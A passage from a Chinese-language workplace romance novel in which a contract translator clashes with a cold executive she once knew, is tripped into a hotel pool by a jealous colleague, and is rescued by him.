仿佛静透的一汪湖水,又好似挺直的一竿翠竹,不动不破。 方简简看她这样,更来气了,冷笑一声:“所以啊,有些东西不是你的,就永远也不会是你的。即便是凭借一时的侥幸加入了,可要是没能力,到头来也还是一样。”她压上一步,真是一点也不装了,“我们走着瞧,尼斯度假村这个项目我早晚有一天会加入。” “这些你和我说没用。”姜挽还是那句话。 “我知道啊,我不过是想恶心你罢了。” “所以,从一开始就是假的?” “你觉得呢?” 姜挽看着她,久久,才吐出一句:“你到底想怎么样?” 方简简轻笑:“看你这话说的,这大庭广众的,我能做什么呀?” 姜挽正打算继续开口,手机突然响,她拿出来看一眼,是周海的电话,方简简也看到了,借此又开始阴阳:“你的项目经理找你呢,还不赶紧接。说不定啊,这个项目你也没几天待的了,还不赶紧趁在的时候,多发挥点作用。” 要是说一点不生气,肯定是假的,可手中的电话还在响,由不得姜挽分心太多。 她扫了方简简一眼,从茶水间出来:“喂,周经理……” 其实要找她的人不是周海,而是陈屿。 电话里,周海把前因后果都和她说了,不是什么大事,只是有几个地方的翻译陈屿觉得不满意,要单独和她讨论。挂断前周海还特意交代她,不用太紧张,正常沟通就行。 姜挽应声,可挂了电话后,还是觉得这件事肯定不是这么简单。陈屿明明有她的微信,却不直接联系她,而是偏要绕过周海这一道,这说明他对她有怨言,是因为她翻译的问题吗?还是说,是因为刚才的八卦事件呢? 姜挽其实不擅长猜别人的心思,尤其是陈屿,自他们重逢后,她就觉得他好多地方都变了。说的很多话,做的很多事,她都看不懂,就更别提去猜他的心思了。 可这道坎,她不得不迈,这件事,她也不得不做。 怀着忐忑的心情,姜挽最终敲响了总裁办公室的门,可开门的却不是陈屿,而是他的助理宋泽宇,之前在公司里姜挽曾远远看过他几次。 “您好,陈总让我来的。”她先开口。 “姜翻译,陈总和我交代过了,他现在还在开会,预计十五分钟之后就会回来,您先在这里等一会儿。”宋泽宇明显知道这件事,带姜挽往旁边的小会议室走,“您喝点什么?” “不用,我不渴。” “好的,那您先在这里等一会儿,有需要叫我。” “好的,谢谢。” 宋泽宇离开后,会议室就只剩姜挽一个人了,这还是她第一次来到陈屿的办公室,忍不住开始四处打量。桌椅,书柜,还有整个房间的装饰风格,都很简约。灰白为主,线条感极强,仔细看下来,倒是符合他的性格。 最特别的,当属正东的那扇落地窗,因为高度太高,甚至能看到窗外飘动的白云。姜挽忍不住想,他确实是在峥嵘的高处,可也高处不胜寒。 正胡思乱想,门外突然传来一阵脚步声,姜挽看一眼手机,还真是十五分钟,不多也不少。 门还没开,她就提前站起来了,见陈屿进门,忙主动打招呼:“陈总。” 陈屿看都没看她,视线落在宋泽宇身上:“没你什么事了,你先出去。” 宋泽宇点头,出去的时候,顺便还把门带上了。 办公室里一时只剩下她和陈屿两个人了,周遭很静,针落可闻。 姜挽担心刚才她声音太小,陈屿没听到,于是便提高音量又重复了一遍:“陈总,”她迈近两步,“听周经理说,您叫我过来是因为有翻译的问题?” 这次,陈屿看她了,可神色可堪淡漠,似乎还带着挫败。这种表情,姜挽之前从来没在他脸上看到过,一时有点摸不着头脑,等想再次确认时,却发现已经只剩淡漠了。 果然,她刚才是看错了。 “东西带了吗?”陈屿突然开口。 他指的是翻译资料,来之前周海和她提过,姜挽忙指着自己的电脑:“在电脑里。” “拿过来吧。” 说完这句,陈屿似乎很累,伸手松了松领带,朝办公桌都去,姜挽忙抱着电脑跟上去。 离得近了,姜挽能闻到一股浓重的烟味,视线随便一扫,便发现了根源,原来在他办公桌的烟灰缸里,此时零零散散扔着的全是烟蒂。 姜挽心里有点闷,可也没表现出来:“您看下,具体是哪些地方。” 陈屿原本是背对她站着的,听到她的话转过来,食指和中指间还夹着一根燃烧到一半的香烟,当着她的面,深深抽了一口,猩红在指尖跳跃:“周海没和你说?” “没有,周经理只和我说了您找我,其他的没说。”姜挽实话实说。 “是吗?”陈屿挑眉,“看来他这个项目经理当得不够称职啊,连中间传个话的事情都做不好。” 又是这副语气,尖锐,讽刺,仿佛她是他的敌人。姜挽心里闷闷的难受,而且她知道,要是陈屿和周海说过的话,周海一定会和她说的。 所以,实际情况只有一个,那就是陈屿根本没说,这会儿是故意为难她。 可这种事,就算想通了,她也得自己承担下来:“也可能是周经理说过了,我没记住,能不能麻烦您再说一遍?” “你当我时间很多吗?每天就和你说这些?” 毫无征兆的,陈屿突然发火了,姜挽垂着眼睫,没吭声。 陈屿看她这不争又不辩的,情绪倒是稳定,更觉得自己像个傻子,一直以来都是,更压不住火了:“我早就说过了,能干就干,不能干就趁早滚蛋,没人陪你们玩什么成长类的游戏!” 姜挽赫然抬头,觉得他反常,而且他这话也没什么道理,她尝试和他心平气和地沟通:“陈总,有什么问题的话,麻烦您明说,我一定尽量修改。” “有什么问题你自己不会看吗?作为一个翻译,你连反思的能力都没有吗?”陈屿简直是不讲理。 姜挽瞪着眼睛看着他,像是生气,又仿佛委屈:“陈总,就算您是领导,也应该讲点道理吧?是您说我的翻译有问题,让我过来的,我来了,您又一句话都不说,抱歉,我真的不知道问题在哪,更没办法反思。” “所以,你打算放弃了?这就是你对待工作的态度?” “我只是不想浪费您的时间。” “我的时间还轮不到你来安排。” “那好,那我先走,等您安排好了我再过来。” 她合上电脑要走,被陈屿拦下,说了一句莫名其妙,没有任何逻辑的话:“我不过是说了两句而已,你就受不了了?你怎么不想想你自己,想想你做过什么?” 姜挽完全不懂他的意思:“我做过什么,还请您说直接点。我是迟到早退了,还是工作没做好?只要您能说出来,我都认。” 说着,她觉得委屈,眼眶酸酸胀胀的,她胡乱抹一把:“还请您直说!” 见此,陈屿蹙眉:“怎么?你还觉得委屈了?”他的话虽还是不好听,可语气已经很明显软下来了,他将手中的烟蒂捻灭,灼灼地盯着她。 被他这样看着,姜挽倒好似成了那个没道理的人:“我不能委屈吗?” “你没资格。” “那好,我走。” “我有说过让你走吗?” “那您到底想怎么样?”姜挽也是破罐子破摔了。 两人就这么对视着,一个是隐忍的委屈,一个是难言的愤怒。 最终,还是姜挽先给了台阶:“我不知道您为何会有如此大的火气,如果和那会儿在办公室的八卦有关系,那我承认确实是我的问题,我可以和您道歉。” 她单纯指的就是八卦的事情,可陈屿却误会了,以为她意有所指,那个他最讨厌的话题。 突然的,没有一点征兆,桌子上的文件被他一把扫到了地上。 领带被他烦躁地扯松了:“我有说过和这个有关系吗?” “姜挽,你未免也太自恋了吧?这么多年,我品味早换了,你当我还喜欢你这种类型的?” 姜挽没这么以为,她也不知道陈屿是怎么扯到这个话题上的,心里还是委屈,可她已经不想解释了:“您就当我是自恋吧,那么请问,我现在可以离开了吗?” 陈屿不说话,只直直地看着她,像是要透过她这副身体,看进她的灵魂。 姜挽被看得很不自在,也不管他答不答应,拿着电脑便走了。走出去好远,她还能听到屋内传来一阵凳子被踹倒的呲啦声。 第57章 落水 往后很长一段时间里, 陈屿都没再过问尼斯项目的事情。会议不参加,进度不关注,虽然邮件还是在抄送里面,可他也再没回复过。 大家纷纷感叹, 这领导的心思, 还真是难猜。 某日开完项目会, 周海让姜挽单独留一下, 姜挽大概能猜到他会问什么问题, 所以有点紧张。果然, 在最后一个同事离开后,周海关上门,开口问她:“上次陈总让你和他讨论翻译, 结果怎么样?” 姜挽低着头, 答得敷衍:“还行, 就讨论了几个翻译的细节问题。” “你们没起争执吧?”周海又问。 “没有, ”姜挽有点心虚,“陈总是领导, 我怎么会和他起争执。” 周海点点头, 可能也是感觉到了她的紧张,于是开口解释道:“你不用紧张, 我也就是随便问问。陈总最近对我们项目组的态度你也看到了, 思来想去我也没想明白到底是因为什么,考虑到我们组你是最后一个和他有过接触的, 就顺口问了。不过现在看来, 你应该也不知道。” 姜挽是不知道,而且她也不认为她这么一个小小的外派翻译人员,会对领导的想法造成影响, 所以她刚才才没有说实话。 因为不管是在项目里,还是在陈屿那里,她都是一个无关紧要的人物。 无关紧要,自然也就不会影响大局。 话说完了,姜挽打算走,周海却让她再等一下,转身从文件夹里抽出一张长方形,四角印烫金边的珠光纸,递给她:“GSC第四季度战略分享会的邀请函,你到时候一起去参加。” 珠光纸质感很好,摸在手里光滑,灯光下更是有珍珠的光泽,姜挽来回看了两遍,才开口:“这个会,外派翻译人员也要求去吗?” “对,GSC在这方面可能和其他公司不一样,只要你在这里上班,关于公司战略和分享的会就都得参加,”周海没注意到她的反常,还从其他方面帮她分析,“而且陈总在这方面一向出手阔绰,订的酒店都是五星级的,吃喝也都是大手笔。所以与其说是开会,不如说是给大家的员工福利更为恰当。” 说罢,周海打算走:“也是你幸运,刚来没多久就赶上了,你看下时间,要是有冲突,就提前安排好,到时候好好放松放松。” 时间是下周五,从中午十二点一直持续到晚上十二点,这点姜挽倒是没什么问题,只是她有点不想去。 老实讲,她现在有点怕见到陈屿,上次和他在会议室的不欢而散,她虽然没和任何人提起过,可事后想起来也难免有些后怕。 他是甲方啊,被他说两句又怎么了?姜挽也不知道当时自己脑袋里在想什么,竟然就那么和他起了争执,而且还一气之下直接离开了。 虽说以她现在的身份,陈屿是犯不着专门找她麻烦,可要是不小心碰上了,看见一个得罪过自己的人老是在自己眼前晃,想必堵心肯定还是会有点的。 他要是觉得堵心了,她还能有好日子过吗? 恍恍惚惚回到办公室,周围的其他外派翻译也正在讨论这个话题,看来周海没骗她,这个会是硬性要求必须全部参加的。 周围的讨论声很大,一会儿是关于穿着,一会儿又是发型,最后又扯到包包和香水上,这其中,要属方简简的声音最大,也不知是有意还是无意,每提到一个奢侈品的牌子,她都会朝姜挽瞥过来一眼,不用看都知道,那眼神里肯定尽是鄙夷和挑衅。 在座位上待了会儿,姜挽实在是觉得吵,便搬着电脑来到了休息区。GSC大楼内设有专门的休息区,原本是用来给大家休闲放松的,后来经过逐渐演变,有时候大家觉得办公室太压抑,也会来这里办公。 姜挽到的时候,意外发现林瑜也在,此时正坐在窗边,戴着耳机看电脑。 姜挽知道她不喜欢被人打扰,所以也就没往她那边走,可现在这个点人不少,姜挽绕了一圈也没发现空着的位置,除了林瑜对面的那一个。 正当她准备离开,换个地方的时候,林瑜却突然摘下耳机,朝她招了招手,接着又指了指她对面的位置,意思很明显,是让她过去坐。 姜挽也就点点头,没再犹豫。 高脚凳,圆形实木桌,两人相对而坐。就在姜挽以为林瑜会再次戴上耳机,两人互不干涉时,她却再次做出了让她吃惊的事情,竟然主动开口了:“你也是被吵得受不了了吧?” 一瞬间,姜挽还有点没反应过来,想了想才意识到,她指的是方简简她们在办公室讨论的事情。不过姜挽没直接回答,而是反问:“你也是?” 林瑜突然很轻地勾了下唇角:“是啊,不然我也不会这个点跑出来。” 难得的一次相似经历,姜挽不自觉也笑了:“是有点吵。” 算起来,这还是她们第一次用这种语气说话,姜挽刚觉得有点轻松,林瑜却突然再次开口,一句话,就瞬间又把气氛拉回了严肃:“那个方简简,你最好还是小心点,她绝不像外表看起来的那么清纯无害。” 说完这句,林瑜再次戴上了耳机,又恢复到最开始那副不喜交际的冷脸状态了。 余光里,姜挽能看见她的动作,她发现林瑜虽然表面看起来冷,可时间长了,就会发现她这个人其实不坏。不然也不会在上次打印时帮她,这次又刻意提醒她。 本来姜挽还抱着和方简简“井水不犯河水”的想法,可经过这段时间的观察,方简简似乎对她恶意很大,再加上林瑜今天这么一提醒,姜挽也觉得她以后再面对方简简时,是该留个心眼了。 会议当天,是个大晴天,但因为已经过了立秋,整体也热不到哪儿去,体感温度很舒适。 因为有“dress code”要求,这场会议主要以“商务简约风”为主,姜挽特意选了白衬衣和黑半裙的搭配,再配上一双高跟鞋,最基础,也是最不会出错的装扮。 因为是半裙,她原本还担心自己的穿搭会不会有些过于露肤了,可到了公司才发现,她的担心纯属多余。无袖,短裙,甚至还有各种彰显身材的紧身裙,在“商务”二字的基础上,大家都最大程度地发挥了自己的优势。相比之下,她的穿搭反而成了那个最保守,最不显眼的。 GSC安排了几十辆大巴,一路浩浩荡荡。姜挽原本以为这种场面就已经够声势浩大了,可到了酒店才发现,整家酒店竟然都被他们包了下来。 酒店的位置依山傍水,为某洲际酒店集团旗下的奢华型。游泳池,高尔夫球场,还有流光溢彩的装饰和富丽堂皇的建筑,一落脚,就仿佛踏进了一个“纸醉金迷”的世界。 到了酒店,先吃午餐,自助式海鲜供应。生长在加拿大东海岸的象拔蚌,从北大西洋空运而来的鹅颈藤壶,还有咬一口就能尝到丰富蛋白质和矿物质的阿拉斯加帝王蟹,之前那些只在书本或者菜单上见过的,今天都逐一对上号了。 姜挽不禁感叹,难怪周海会说她幸运,说陈屿一向大手笔。 姜挽原本还担心在这里和陈屿碰上后会尴尬,可看今天这个架势,应该是不会了。人太多,连自己部门的人,她都不怎么能找到,就更别提时刻被人群簇拥着的他了。 这样想着,姜挽心里也轻松不少,正打算去拿甜点,恍惚间,突然看见了一张熟悉的脸,那张她刚刚还想到,觉得不可能遇见的脸…… 姜挽不大敢确认,视线越过拥挤的人群和闪烁的珠光翡翠再去看,高个子,黑西装,沉冷的气质和出众的五官,是陈屿没错了。 他正端着酒杯和旁边的人说话,没什么表情,看起来似乎有些心不在焉,视线好几次四处逡巡,像是也在找人。 姜挽第一反应是躲,可已经来不及了,刹那间,两人视线相对,在空气中进行了一个无声的对视。 最终,是陈屿先移开了视线,朝其他地方去了。他一迈步,身后便“呼啦啦”跟着一群人离开,刚才还热闹异常的场合,瞬间冷却下来。 姜挽懵懵的,看着他离开的背影。也不知道他刚才到底看见自己没有,要是看见了的话,那他转身就离开,又是几个意思呢?莫非,还在因为之前的事情和她生气? 正思索着,迎面恰巧有同事过来和她打招呼,是技术部负责图纸的一位,因为尼斯项目的翻译,姜挽和她有过几次接触。 两人平时工作都忙,除了开会的时间,其他很少能碰上。今天也是借这个机会,对方想和她多聊一些,姜挽当然也愿意了。 两个人聊起来的时间,总是会比一个人待着过得快。很快,午餐时间结束,大家在负责人的安排下直接前往会议室,开启今天这场会议的正式主题——GSC第四季度战略会议的分享。 会议室很大,一眼扫下来,约莫有一千多平。穹窿顶,无立柱,整体呈层层梯升的结构,由近及远,由下往上,逐渐拉开。 位置是按部门划分的,翻译部被安排在右侧居中的区域,姜挽她们属于翻译部的编外人员,自然也被安排在这里。她旁边是林瑜,再过一个才是方简简。此时方简简正热络地和其他人打招呼,明显是在刻意排挤她俩,不过好在她和林瑜也都是不爱掺和的性格,也就不怎么在意。 翻译部人不算多,所以安排起来很快,相比之下,其他部门可就没这么快了。可仔细看就会发现,现场人虽多,却并不混乱,在工作人员有条不紊地指导下,没过多久,也就两三分钟吧,大家基本就都已经完成了全部的落座。 可现场的气氛却并没因此冷却下来,反而比刚才更加热烈。顺着这声音,姜挽去看,果不其然,在会议室的正中心区域,看见了陈屿的身影,跟在他身后的,还有GSC的整个管理团队。 一身黑色西装,同样低调沉稳的暗色系领带,挺拔的高个子,还有微带着点淡漠的上位者特有的凌厉眼神,儒雅也潇洒,矜贵却霸气,难怪大家会如此兴奋了。 接下来,会议正式开始,进程其实很简单,陈屿先做开场白,再由其他各自负责的VP做详细的介绍,从市场定位,发展战略,再到最后的组织管理和技术创新,从点到面,由浅入深,真正算得上是一场淋漓尽致的全面又透彻的分享。 几个小时,不像是一场会议,反倒更像是一次知识科普。 结束后,刚才会上听到的那些观点还不停在姜挽脑中回放,她原本以为所谓的战略分享只是走个过场,大家找个机会聚在一起吃吃喝喝而已,没想到竟然会是如此专业性的一次体验,尤其是陈屿。 到现在,走在去卫生间的路上,姜挽的脑子里还全都是他,举手投足间的温文风情,俯瞰台下时的王者霸气,回答问题时的专业严谨,还有…… 突然,迎面传来一道不耐烦的声音:“你走路都不看路的吗?” “不好……”姜挽刚打算道歉,视线一抬,却愣住了,硬生生将剩下的几个字咽进了喉咙里。 这种前一秒那个人还在脑海,这一秒却突然出现在自己眼前的情况,她还是第一次遇见。更何况,她刚才脑子里的那点东西也称不上完全的光明磊落。 “你刚才在想什么?走路都不看路的吗?”陈屿又重复了一遍,这一次,除了声音外,很明显,他的表情更不耐烦。 姜挽被问的语塞,也可能是心虚吧,她快速错开身体,给他让出一条路:“抱歉,我刚才没注意到,您先走。” 哪知,陈屿却不走,而是压上一步,再次和她面对面:“姜挽,你在躲我?” 被发现了,可她不能承认,伴随着呼呼的冷气,姜挽涩然开口:“怎么会,您是领导,我怎么会躲着您呢,再说了……” “你记得这点就好,”陈屿蓦地打断她,像是耐心已经用尽,“记住你现在的立场和工作,什么该做,什么不该做,自己心里最好有杆秤。” “知道了。”莫名其妙被训,姜挽实在没办法继续热情了。 “还有,”陈屿却并不打算就此放过她,视线在她身上来回看了两圈,从头顶到脚尖,越往下,表情越难看,“这身衣服以后不要再穿了,记住你的身份和工作职责,不要妄想通过其他的手段走捷径。” 走捷径? 一瞬间,姜挽有点没反应过来,她睁大眼睛:“为什么?” “没有为什么,我不喜欢。” 说完这句,陈屿头也不回地迈步离开了,看着他的背影,姜挽才渐渐回过味来,原来他说的“走捷径”竟然是那个意思! 姜挽低头看了一眼自己今天的这身穿搭,又看了看其他同事的,在这“争奇斗艳”的环境下,她今天这身是再普通不过,也是再保守不过了的! 至于陈屿刚才为什么会那样说,她百思不得其解,无奈之下,也只能归咎于是他对她这个人的不满意。 会议结束后,接下来进入下一半的议程,一个稍显轻松,大家都比较期待的部分,自由活动环节。 顾名思义,每个人都可以按照自己的喜好,在这酒店的娱乐设施里,选择自己感兴趣的那一项。运动、健身、KTV,喝酒、打牌、Masaage,全凭个人喜好。 可要说热闹,还属游泳池这块人最多。 因为陈屿在这里,正端着酒杯和其他管理层畅谈,领导在的地方,自然是会热闹些的。 姜挽也在这热闹之中,可她并不是自愿参与的,完全是因为人太多,被莫名其妙挤了进来。尝试了两次想离开,都被拥挤的人群堵了回来,第三次的时候,竟然意外撞见了方简简。 其实也称不上意外,是方简简一直等着她呢,自今天会议开始,她的注意力便一直在姜挽身上,时刻想着寻个机会让姜挽在大家面前出丑。 踏步,横眉,抱胸,方简简拦住她:“这么着急,这是要去哪儿啊?” 姜挽记着林瑜的话,知道方简简这个时候来找她肯定没好事。本着多一事不如少一事的原则,她没回答,而是特意绕开,打算走。 可方简简就是冲她来的,又怎么可能轻易放过她:“你不是喜欢在陈总面前表现吗,这会儿他在,你却要走,不符合你的一贯作风啊?” 眼见着一时也摆脱不了她,姜挽又不想影响其他人,她索性往游泳池旁边靠近,那里人少:“一贯作风?”她挑眉,声音沉冷又不失立场,“我自己都不知道我的风格是什么,你怎么就知道了?有时间不如多花在自己的工作上,不要总是关注一些和自己不相关的事情。” 她没退,而是直接和她针锋相对,方简简也没想到。冷哼一声,她伸出手指,悠闲地勾着耳侧的卷发,指甲油鲜红闪耀,灯光下来回晃动,让姜挽想到了闪着寒光的刀尖。 方简简微眯着眼:“对嘛,这才是你嘛,和我装什么呢?” 时间,地点和场合,都让姜挽觉得不适合和她再继续说下去了,她打算走,本以为还会有一番纠扯,没想到这次方简简却没拦。 姜挽原本还觉得疑惑,可转身的功夫,突然脚下被绊,她这才明白过来方简简的用意,可已经来不及了…… 她此时就站在游泳池旁边,方简简这一绊,让她瞬间失去重心,身体倾斜着朝旁边倒去,“扑通”一声,落入水中。 与此同时,岸上也发生了一阵骚动,一道高大的身影迅速穿过人群,朝着姜挽落水的方向奔来,接着纵身一跳,一头扎进了水里。 其他人根本不知道发生了什么,只是眼见着自己的老板就这么毫不犹豫地跳进了水里,一时又震惊又担忧,当即便炸成了一锅粥。 隔着水,岸上的动静姜挽听得并不真切,姜挽只觉得冷,还有因为冷水倒灌引起的,身体一系列的窒闷感受。 刚才事发太突然,她一点准备都没有,所以一时间乱了分寸。这会儿反应过来了,唯一的想法就是要游上去,像以往任何一次一样,靠她自己游上去!靠她自己来拯救! 三十厘米! 二十厘米! 十厘米! 还有五厘米,她马上就要游出水面了! 突然,头顶上方出现了一道身影,接着,那道身影越游越近,隔着海水的斑斓翠色,姜挽看到一张再熟悉不过的脸。 剑眉薄唇,还有那犹如黑曜石般的漆黑眼睛和永远带着点不耐烦的淡漠表情,是陈屿没错了。可他怎么会在这里?他这时候跳入水中,是来救她的吗? 她能这么想吗?她有资格这么想吗? 突然,腰上搭过来一只手,接着那只手微微使力,将她一把带入怀中。水那么凉,他的手更甚,可姜挽却觉得此刻被他触碰的地方好似碰上了烙铁,一股热意迅速席卷全身,仿佛要将她从里到外都熬热。 她不自觉挣了挣,没想到下一秒,腰上的力道突然加大,接着干脆将她搂进怀抱,带着一股不容置喙的力量。 颤动。 心在颤,视线在颤,就连水面都在颤。在这接连不断的颤动和无处躲避的接触中,姜挽最终被陈屿抱着腰,从水里捞了上来。 周围人迅速聚集,她不用抬头都知道,此刻有多少双眼睛正在盯着她。脚步声,议论声,还有来回不断晃动的身影,姜挽突然觉得有些头晕。 蓦地,一件外套朝她兜头而来,浅淡的木质香味,当然还带着明显不悦的话语:“披上。” 陈屿这是在帮她解围,她知道,所以没做任何犹豫便快速披上了。毕竟,和方简简单方面有矛盾是一回事儿,此刻在如此狼狈的情况下被这么多人围观就是另外一回事儿了。 有人开口了,当然是询问陈屿的情况,还有看在陈屿的面子上询问姜挽的,不过无论是谁,陈屿都统统做了回绝,默默上前一步,将姜挽挡在身后:“一个小插曲,你们继续,我先回酒店换件衣服。” 他一发话,没人敢再继续开口,都默默退到一边,给他让出来了一条路。 陈屿没走,而是一个眼神看向身后的姜挽:“姜翻译,想必你也需要处理下吧?” “当然,”姜挽巴不得现在立马就从大家的围观中消失,所以陈屿一开口,当即便答应了,“那就麻烦陈总了。” 临走前,她还特意在人群里找了一圈,哪里还有半分方简简的身影,应该是在绊她入水的那一刻就立马离开了。 他们走后,人群里再次引发一阵骚动,不过和刚才不同的是,这次多半是疑惑。 “陈总和这个外派翻译是什么关系啊?前段时间还听说陈总不喜欢她,专门找她事儿呢,刚才怎么就跳下去救她了?” “谁知道呢,陈总一向是不爱多管闲事的。” “谁说不是呢,莫不是他俩……” “话不能这么说吧,刚才情况那么特殊,人命关天的时候,换成其他任何一个人,也都会跳下去的吧。” “也对,毕竟她现在还在GSC上班,出了什么事的话,也得由GSC来负责。” …… 电梯里,姜挽靠角落站着,她大概能猜到大家会如何议论她,可也无暇顾及了。因为此时陈屿就站在她对面,和她呈对角线的位置,而且看起来似乎不大高兴,一路都没怎么搭理她。 密闭的空间里,一点微小的声音都能被放大,现在就是如此。 啪嗒,啪嗒。 接连好几声,姜挽一开始还不知道是什么,几次下来之后,她才意识到,竟然是陈屿身上的水,这会儿正沿着裤腿往下滴落。 “你的……”起了头,她又不知该如何开口了,这事毕竟是因为她,陈屿之所以会把自己搞得这么狼狈,也是为了救她。心里有什么东西在拉扯着,稍不注意,她便脱口而出:“刚才,谢谢你。” 陈屿看都不看她,冷硬的下颌线仿佛一把钢刀,果断而又不留情面地斩断了她的幻想:“你不要想多了,刚才那种情况,换作其他任何一个人,我都会去救。” 虽然知道事实如此,可面对面听到他亲口说出这些话,姜挽还是免不了会有些颤动,她垂下眼:“我知道的,我并没有其他的意思,只是想感谢你。” 陈屿从眼前的镜子里看了她一眼,看不出来在想什么,只不过没再开口了。 电梯继续上升。 刚才宋泽宇帮他们和前台做了沟通,已经帮她们安排了房间和衣服,他们只需要乘电梯上去即可。而且楼层也不算太高,就在十楼,随着“叮”的一声响,电梯很快到达。 出门,右拐,迈步,陈屿全程没看她一眼。 姜挽跟在他身后,也没再开口,只不过到了房间门口,她却有些犹豫了,因为宋泽宇给他们安排的房间,只有一间。 虽然只是一个片刻的短暂动作,可因为陈屿对她的动作和表情很在意,所以一瞬间,他还是捕捉到了。轻笑一声,很不屑,又像是讽刺:“你放心,我对你没有兴趣,一间房只不过是为了节省成本而已。GSC虽说不差钱,但只是换个衣服这样的小事就开两间房来肆意挥霍,也没有过这样的先例。” 姜挽被他说得尴尬:“我没有这样想过。”她只是觉得会有点不方便而已,“所以,你先换,还是我先换?” 房间是个套间,进了门,陈屿没去卧室,而是直接走向客厅,那样子很明显,是让她先换。 姜挽也就没再自讨没趣,拿起床上提前准备好的衣服,率先进了更衣室。 衣服是酒店准备的,尺码偏大,而且设计也很独特,有一排繁琐的纽扣在背后,姜挽尝试了几次也只是把下半部分扣好了,靠近蝴蝶骨的位置始终没有成功。 她急得满头大汗,偏偏陈屿还要在这个时候催促:“姜挽,换个衣服而已,你需要这么长时间吗?” “我马上就好,请再稍等一下。” “你以为谁都和你一样,时间不值钱吗?再给你两分钟,立马给我出来。” “好……好了。” 最后,紧赶慢赶,姜挽总算是在他给的两分钟内出来了,只不过姿势别扭,两只手还按在背后,看起来十分滑稽。 见她这样,陈屿忍不住皱眉:“这么慢,别和我说你刚才晕倒在里面了?” “没有,没有,我换完了,您去吧。” 她虽这样说,可双手仍然放在身后的位置,陈屿也注意到了:“你这又是在干什么?” “没事。” 陈屿冷冷看了她几秒,没再和她废话,随即迅速起身,径直绕到她背后:“我说你……” 可话说一半,他却突然住了口,因为此时因为衣服纽扣的原因,她大片后背裸露在外面,被灯光一照,新雪一样的白皙。 晃了他的眼,也晃了他的心。 一想到她这个样子可能会被其他人看到,陈屿就莫名恼火:“所以,你就打算这样出去?” 被他这么一说,姜挽更心虚了,连忙转过身:“不是,我是打算等你换完之后再进去弄的。” “现在就去。”陈屿完全是命令式的口吻,丝毫没和她商量。 哪知,姜挽却不动。 陈屿压着火:“姜挽,我刚才说的话你没听见吗?难不成,你真想就这么出去?” “不是,”见他真的生气了,姜挽索性坦白,“后面的拉链我够不到。” 一瞬间,空气陷入凝滞,两人都没再开口。 窗外不知何时已进入了夜色,天上有云,月色朦胧。 像是很短,又仿佛很长,陈屿终于先做了让步,他深吸一口气,开口:“转过去。” “什么?” “我说转过去。” 姜挽虽然不明白他的用意,可看他此刻的表情,也知道他不是在开玩笑,于是按着后背,在他眼前扭捏地转了身。 又是那片雪白,刚才的一扫而过和此刻的近在眼前,完全不是一样的概念。陈屿庆幸此刻她是背对着他,不会看到他的表情,他也不用极力伪装。而且就算他想装,这个时候也装不了。 “好了吗?你打算……” 话没说完,姜挽突然顿住,因为她感觉到后背有东西抚了上来,冰冰的,凉凉的,细腻的触感,像是……像是他的手指…… 霎那间,背上一阵战栗,姜挽瑟缩了一下,随即想要转身,可肩膀却突然被按住了,接着,沉沉音色在她耳边响起:“你要是想现在这个样子被其他人看到,你就尽管乱动。” 她不动了。 手在发抖,可姜挽却不敢回头,因为她清楚地知道,此刻除了陌生和别扭外,她的大脑正被另一类情绪控制,是悸动,是期待,是符合所有面对心上人时的暧昧和荷尔蒙。 可这些,她都不能让陈屿知道。 好在,陈屿的动作很快,不到一分钟便将纽扣系好了:“好了。”他退开一步,轻轻摩挲着指尖,那里刚才不小心碰到了她的后背,似乎还残留着她身上的体温。 “谢谢,”姜挽没敢看他,迈步就要走,“你快去换衣服吧。” “等一下,”陈屿却突然叫住她,“你刚才为什么会突然掉下去?” 姜挽愣了下,随即开口:“我要是说是被人故意陷害的,你会相信吗?” 陈屿拧眉看着她的背影,没说话。就在姜挽以为他不会相信,甚至有些后悔和他说这些的时候,他却再次突然开口:“是谁?” 这次,轮到姜挽不吭声了。 刚才的回答是情急之下太冲动了,现在想想实在没必要。她没证据,要是说了的话,不仅听起来像是在背后告黑状,而且也会给陈屿带来困扰。他没义务,也没有时间来帮她处理这些。 见她犹豫,陈屿冷哼一声,以为她是不愿意告诉自己,那她打算告诉谁?那个她口中的男朋友吗?情绪一上来,他就又回到了之前的模样,不自觉就戴上了那副冷漠刻薄的面具。因为,他真的是被伤怕了。 “怎么?你连她的名字都不敢说吗?搞了半天,你也就只敢和我横?” 说罢,连解释的机会都不给她,拿起衣服径直进了更衣室。 他进去了,姜挽也就没有必要再在这里等着了。而且看他刚才不悦的样子,想必换完衣服后也并不想看见她。 姜挽收拾好自己的湿衣服,再次看了一眼更衣室的方向,轻轻带上房门,从房间离开。不过她也没再回去,而是直接从酒店大堂出来,叫了车,直接回家了。 陈屿从更衣室出来后,见房间里空荡荡的,更生气了,接连抽了好几根烟才把内心的躁郁压下。 回去的路上,姜挽收到了林瑜发来的微信,林瑜还是一贯的直接,没有任何寒暄,上来就问她需不需要帮忙。看来,刚才发生的事情她应该也知道了。 事情发生后,她是除陈屿外第一个和她联系的人,而且还是关心她,姜挽难免有些动容。于是便把她已经回家的事情告诉了林瑜,还拜托她,要是有其他事情的话,麻烦微信和她说一声。 林瑜很干脆,立马回复微信说可以,还叮嘱她回家好好休息,有些事,有些人,不必放在心上。 姜挽明白她的意思,一场算不上意外的意外,她没办法向其他人证明。而且以她的性格,也不可能用同样的手段对方简简做出反击。所以,她现在只希望事情能早点过去,以后尽量避免。 只是她忽略了,要想生活平静,必须要双方都有这种想法才行。一旦有一方不愿意,那么接下来必将是无休止的谣言和风波。 第58章 开除 周末两天, 因为周五那件事,姜挽在家短暂地给自己放了个假,什么工作都没做,单纯调整心情和状态。 长久以来形成的抗压能力和心理素质, 让她很快便休整过来, 周一再去公司的时候已经完全恢复了。她是准备心无旁骛开展工作的, 可偏偏, 有人不愿意。 刚进公司, 便见方简简和其他几个外派翻译在聊天, 见她进来,几人忙散开,很明显, 她们讨论的话题和她有关。 姜挽没停留, 她看见了, 也装作没看见。这种事情她最近经历的太多了, 没时间,也没心思去纠结这些。 接完咖啡, 回来在座位上坐下, 哪知刚打开电脑,旁边的方简简却突然朝她靠近, 自从上次闹掰后, 她们两人已经很长时间都没有如此近距离地接触过了。 空气中飘来一阵浓重的香水味。 “我听说上周五开会的时候你掉进游泳池了,怎么回事啊?”方简简杏目圆睁, 故作惊讶, 可仔细看的话就会发现,掩藏的眸色之下全是狡黠和得意:“不是我说你,那么大的地方你都能掉下去, 也太不小心了吧?下次可得注意点,毕竟不是每一次都会这么幸运,刚好有陈总救你的。再说了,就算他救你,这传出去也不好听呀,要是陈总再因为这个事生病了,就更不值得了。” 